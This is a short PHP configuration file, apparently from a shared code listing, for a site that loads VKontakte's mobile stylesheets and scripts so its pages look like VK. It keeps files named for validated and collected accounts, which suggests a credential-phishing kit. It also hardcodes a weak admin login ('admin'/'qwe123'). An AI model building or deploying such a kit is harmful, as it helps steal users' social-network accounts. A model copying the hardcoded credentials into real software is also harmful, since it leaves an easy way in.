Файл: files/config.php
Строк: 32
<?
#######################
## © By bambi_no4462 ##
#######################
session_start();
ob_start();
foreach($_GET as $_ind => $_val) { $_GET["$_ind"] = htmlspecialchars(addslashes(stripslashes($_val)), ENT_QUOTES); }
foreach($_POST as $_ind => $_val) { $_POST["$_ind"] = htmlspecialchars(addslashes(stripslashes($_val)), ENT_QUOTES); }
$_validate_accounts = "local/_validate_accounts.txt";
$_all_accounts = "local/_all_accounts.txt";
$admin_login = 'admin';
$admin_password = 'qwe123';
if(isset($_GET['style'])){
if($_SESSION['style']==null){ $_SESSION['style'] = 'default'; }
elseif($_SESSION['style']=='default'){ $_SESSION['style'] = null; }
$_SERVER['QUERY_STRING'] = str_replace( '&style','',$_SERVER['QUERY_STRING']);
@header("Location: ?$_SERVER[QUERY_STRING]"); exit; }
if($_SERVER['REMOTE_ADDR']!='127.0.0.1'){
$_vk_url_css1 = "http://m.vk.com/css/s_cfmxw.css?".rand(1,100);
$_vk_url_css2 = "http://m.vk.com/css/s_yzgt.css?".rand(1,100);
$_vk_url_js = "http://m.vk.com/js/s_c.js?".rand(1,100); }
else{
$_vk_url_css1 = "http://$_SERVER[SERVER_NAME]/theme/css_1.css?".rand(1,100);
$_vk_url_css2 = "http://$_SERVER[SERVER_NAME]/theme/css_2.css?".rand(1,100);
$_vk_url_js = "http://$_SERVER[SERVER_NAME]/theme/s_c.js?".rand(1,100); }
if($_SESSION['style']==null){
$_stylesheet = "<link rel='stylesheet' href='http://$_SERVER[SERVER_NAME]/theme/theme.css' type='text/css'/>"; }
else{
$_stylesheet = "
<link type='text/css' rel='stylesheet' href='$_vk_url_css1'></link>
<link type='text/css' rel='stylesheet' media='only screen' href='$_vk_url_css2'></link>"; }
?>